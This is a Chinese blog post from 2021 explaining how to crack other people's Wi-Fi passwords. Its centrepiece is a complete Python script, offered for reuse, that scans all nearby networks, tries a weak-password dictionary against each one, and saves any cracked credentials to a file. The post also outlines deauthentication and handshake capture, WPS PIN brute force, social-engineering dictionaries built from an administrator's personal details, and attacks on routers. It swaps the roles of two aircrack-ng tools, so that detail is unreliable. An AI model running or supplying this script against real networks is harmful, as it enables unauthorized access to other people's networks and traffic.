欢迎来到【血梦博客】 今天是:2021年04月14日 星期三
站长联系QQ:635948183
当前位置: 网站首页> 渗透测试> 黑客如何破解wifi密码

黑客如何破解wifi密码

作者:血梦 日期:2021-03-22 浏览:95分类: 渗透测试 已提交百度收录

0x00前言
应粉丝要求,这周科普一下破解wifi密码的方法。因为我没有深入研究过这个方向,平时做项目也用不到,所以只能写一些比较常用的方法,如果有遗漏希望师傅们可以留言补充。
图片

0x01 暴力破解
暴力破解,简称爆破,原理就是不断用可能的密码去尝试连接wifi来破解密码。

爆破wifi的方式主要有两种:纯暴力破解字典爆破

纯暴力破解:就是按排列顺序尝试所有可能性,这种方式效率极低,8位数字密码的所有可能性就已经有1亿种,更别提wifi密码中还可以使用字母和符号。所以爆破wifi密码通常采用字典爆破的方法。

字典爆破,之前写过一篇文章《你的QQ是怎么被盗的(上)》中讲过:虽然密码的排列组合有很多可能性,但人们一般会使用一些有规律有意义的密码,把这些密码提取出来做成的字典,就可以破解相当一部分的wifi密码,这是比较有效率的办法。

字典还分为通用字典社工字典,通用字典就是大多数人都会设的密码比如88888888,12345678,qwer1234等等,社工字典需要收集wifi管理员的信息进行单独制作,比如收集管理员的生日,手机号,姓名做成字典。然后wifi密码可能就是19990604(管理员生日),13698761234(管理员手机)或者xiaoming123(姓名+123)。

至于实施爆破的手段,一般是自己编程序或写脚本,但身为脚本小子,能白嫖别人的为什么要自己动手呢,以下python脚本来自“酒仙桥六号部队”,具体文章见文末参考文献[1]。
from pywifi import const, PyWiFi, Profileimport time # wifi类class wifi(object): def __init__(self): self.wifi = PyWiFi()                  #创建一个无线对象 self.interfaces = self.wifi.interfaces()        #获取无线网卡接口 self.iface = self.interfaces[0]              #获取第一个无线网卡接口  # 获取无线网卡接口 def get_wifi_interfaces(self): num = len(self.interfaces) if num <= 0: print(u'未找到无线网卡接口!\n') exit() if num == 1: print(u'无线网卡接口: %s\n' % (self.iface.name())) return self.iface else: print('%-4s   %s\n'%(u'序号',u'网卡接口名称')) for i, w in enumerate(self.interfaces): print('%-4s   %s' % (i, w.name())) while True: iface_no = input('请选择网卡接口序号:'.decode('utf-8').encode('gbk')) no = int(iface_no) if no >= 0 and no < num: return self.interfaces[no]  # 查看无线网卡是否处于连接状态 def check_interfaces(self):  if self.iface.status() in [const.IFACE_CONNECTED, const.IFACE_CONNECTING]: print('无线网卡:%s 已连接。' % self.iface.name()) else: print('无线网卡:%s 未连接。' % self.iface.name())  # 扫描周围wifi def scan_wifi(self): self.iface.scan()                    #扫描周围wifi time.sleep(1)                      #不缓冲显示不出来 result = self.iface.scan_results()            #获取扫描结果,wifi可能会有重复 has = []                        #初始化已扫描到的wifi wifi_list = []                      #初始化扫描结果 for i in result: if i not in has:                  #若has中没有该wifi,则 has.append(i)                  #添加到has列表 if i.signal > -90:                #信号强度<-90的wifi几乎连不上 wifi_list.append((i.ssid, i.signal))    #添加到wifi列表 print('wifi信号强度:{0},名称:{1}。'.format(i.signal, i.ssid))#输出wifi名称 return sorted(wifi_list, key=lambda x:x[1], reverse=True)  #按信号强度由高到低排序  # 连接wifi def connect_wifi(self, wifi_name, wifi_password): self.iface.disconnect()                  #断开无线网卡连接 time.sleep(1)                      #缓冲1秒 profile_info = Profile()                #wifi配置文件 profile_info.ssid = wifi_name               #wifi名称 profile_info.auth = const.AUTH_ALG_OPEN         #需要密码 profile_info.akm.append(const.AKM_TYPE_WPA2PSK)      #加密类型 profile_info.cipher = const.CIPHER_TYPE_CCMP       #加密单元 profile_info.key = wifi_password             #wifi密码 self.iface.remove_all_network_profiles()        #删除其他配置文件 tmp_profile = self.iface.add_network_profile(profile_info)   #加载配置文件 self.iface.connect(tmp_profile)              #连接 #尝试5秒是否能成功连接(时间过短可能会导致正确密码尚未连接成功) time.sleep(5)  if self.iface.status() == const.IFACE_CONNECTED: print('\n==========================================================================') print('wifi:{0}连接成功,密码:{1}'.format(wifi_name, wifi_password), end='') print('==========================================================================\n') return True else: print('密码错误:{0}'.format(wifi_password), end='') return False  # 断开无线网卡已连接状态 def disconnect_wifi(self): self.iface.disconnect()  if self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]: print('无线网卡:%s 已断开。' % self.iface.name()) else: print('无线网卡:%s 未断开。' % self.iface.name()) if __name__ == '__main__': sf = ['Y', 'y', 'N', 'n'] dian = input('是否需要手动点击破解下一个wifi热点(Y/N)?').strip() wifi = wifi()                        #实例化wifi类 wifi.get_wifi_interfaces()                  #获取网卡接口 wifi.check_interfaces()                    #检测网卡连接状态 print('\n正在扫描wifi热点...') wifiList = wifi.scan_wifi()                  #扫描周围wifi print('\n正在破解,时间较长,请耐心等待...') #所有破解成功的wifi名称及密码 user_pwd = []  # 只能单线程破解,因为只有一个无线网卡,不能同时连接多个wifi热点 for i in wifiList: print('正在破解%s,请耐心等待...' % i[0]) start = time.time() with open(r'1800常用弱口令字典.txt', 'r') as f:  for password in f: try: result = wifi.connect_wifi(i[0], password)  #尝试连接wifi if result == True:              #若找到密码,则跳出,避免继续查找 user_pwd.append((i[0], password))    #保存破解成功的wifi及密码 break except: continue end = time.time() shi = end - start print('破解耗时:%s秒。' % shi) if dian == 'Y' or dian == 'y': xia = input('是否继续破解(Y/N)?').strip() while xia not in sf: print('输入错误,请重新输入!') xia = input('是否继续破解(Y/N)?') if xia == 'Y' or xia == 'y': continue else: break print('\n==========================================================================') print('最终统计结果为:') with open(r'c:/users/administrator/desktop/wifi.txt', 'a') as pwd: for p in user_pwd: pwd.write('wifi热点:%s,密码:%s' % (p[0], p[1])) print(('wifi热点:%s,密码:%s' % (p[0], p[1])), end='') print('==========================================================================\n') wifi.disconnect_wifi()
python脚本放在电脑上运行,有些人可能要问,有没有能爆破wifi密码的手机app呢,有,但我不推荐使用手机爆破,因为手机的性能和电脑差的实在太多,强行爆破有种“杀敌一千自损八百”的效果。之前我下载了一个有爆破wifi功能的app试了一下,当时手机就卡到强制重启了。

如果对自己的手机很自信,那可以试试【极简wifi密码钥匙】app的WIFI密探功能,原理就是字典爆破wifi密码[2]。

0x02 大数据破解(万能钥匙)
这是成功率最高的方法,很多人应该用过一个app叫做【wifi万能钥匙】,曾经这个app风靡一时,能破解很多wifi密码。现在用的人少了(因为流量便宜了),同时发现app能破解的wifi密码也变少了,这是什么原因呢?

很多人以为wifi万能钥匙也是通过暴力破解的手段破解wifi密码,但用多了你会发现,很多很复杂无规律的密码它也能破解出来,并且使用的时候手机也不会变卡,这很不符合常理。

其实它根本就没有去进行爆破尝试,万能钥匙破解wifi的手段其实是基于大数据共享,下载了万能钥匙之后,你连接过的所有wifi包括密码都会上传到它的服务器,别人就能通过万能钥匙破解你家的wifi。自然你也能通过万能钥匙破解别人家的wifi(只要他也使用万能钥匙),简单的说,你想破解别人的密码,就要先交出自己的密码。

这类app,wifi万能钥匙应该是使用人数最多的,但还有很多种其他app也有一定量的用户,需要时可以都下载回来尝试增加成功率[2]:
腾讯WiFi管家WiFi 伴侣360免费WiFi

0x03 跑握手包
这种破解方式和wifi的加密方式有关:wep、wpa、wpa2。wep是最古老的,安全性最低的wifi加密方法,已停止使用,目前绝大多数路由器和Wi-Fi连接都使用WPA或WPA2。 [3]

wep加密能实现完全破解,具体原理是其算法的缺陷:当发送12430个数据包时(大概4秒钟左右)99%的概率会发生初始向量IV相同。这时可根据一定的算法分析出密钥和明文。[4]

现在广泛使用的wpa和wpa2协议就不能100%破解了,破解的具体步骤是:
取消认证攻击——重连时抓握手包——离线破解密码 [5]

先通过取消认证攻击使当前活跃设备与目标wifi断开连接,然后设备一般会自动重连,重连过程中会发送带有加密后的wifi密文的握手包,通过嗅探工具将握手包下载到本地,就可以在本地离线破解wifi密码。

离线破解,大概是类似web渗透中的抓回密码的哈希值,哈希虽不可逆,不能直接算出明文密码,但可以将一大堆明文密码采用同样的哈希算法加密去逐一匹配碰撞,本质也是暴力破解。但和文章开头讲到的爆破的区别是:一个使用网卡爆破,一个是使用cpu爆破,速度上要快近亿倍。

具体的操作kali操作系统上有相应的工具:

Aircrack-ng套件:airmon-ng(监听流量)、airodump-ng(抓无线握手包)aircrack-ng(强制用户断开认证)aireplay-ng(破解密码)

使用前需要购买支持linux系统的无线网卡才能抓回wifi握手包。

鉴于之前很多人做过相关实验,用关键词:kali破解wifi,随便一搜就有很多,我这里就不演示了(主要是工资还没发,不想买无线网卡)[6]

0x04 pin码破解
路由器的WPS功能:WPS是Wi-Fi保护设置的英文缩写致力于简化无线局域网安装及安全性能的配置工作

对于一般用户,WPS提供了一个相当简便的加密方法。通过该功能,不仅可将都具有WPS功能的Wi-Fi设备和无线路由器进行快速互联,还会随机产生一个八位数字的字符串作为个人识别号码(PIN)进行加密操作。省去了客户端需要连入无线网络时,必须手动添加网络名称(SSID)及输入冗长的无线加密密码的繁琐过程。[7]

简单来说,对于开启了WPS功能的路由器,当你知道了它的pin码,就可以连接到wifi并获取明文密码,不再需要其他认证措施。

pin码有8位,第8位是校验和,可以根据前7位算出,而这7位中前4位和后3位是分别认证的,认证成功会给出提示,所以爆破pin码只需11000次(10^4+10^3)即可保证100%成功。

不过有些路由器也会有反制的措施,比如增加pin认证的时间,使一次pin认证需要花费一分钟,那11000次则需要攻击者不间断爆破七天以上,增加了攻击成本。

具体的操作也是可以直接使用kali上的工具:reaver 破解pin码,搜索关键词:kali破解pin码即可搜到很多文章,比如参考文献[8]。

0x05 简单点
破解wifi的前提应该是能连接到这个wifi,那说明此时我们和目标的距离是很近的,这时可以采取一些如下非常规的手法去获取wifi密码:
(1)直接问:管理员wifi密码是多少。

(2)寻找环境中明文记录的wifi密码,它们经常出没在:墙上的便利贴,路由器背面的标签,桌子上的纸张等位置。

(3)寻找网线插口,进入网络内部打路由器获取wifi密码(都能插网线了为啥还需要wifi密码?)打路由器的方法:弱口令、默认口令、超级口令、已知漏洞、0day。

进入路由器管理后台后,可能会看到黑点型的wifi密码:
图片
用一个很多师傅都知道的tip:右键审查元素,将type=“password"改成type="text"就能看见明文密码。

0x06 后记
这是一篇科普类文章,很多地方不求甚解,如有错误希望师傅们留言指点~

0x07 参考文献

[1] https://mp.weixin.qq.com/s/T7A7ydK1EaEwNNKnBwN9Aw

[2] https://mp.weixin.qq.com/s/rp1GpfPxDYKpnylTk56Dvw

[3] https://baijiahao.baidu.com/s?id=1622959842285679613

[4] https://www.cr173.com/html/9731_1.html

[5] https://mp.weixin.qq.com/s/7K9uaIR7JQilsEUdyghEow

[6] https://www.jianshu.com/p/97e945d9311e

[7] https://blog.csdn.net/weixin_33916256/article/details/85816592

[8] https://blog.csdn.net/qiye_/article/details/53005430

关灯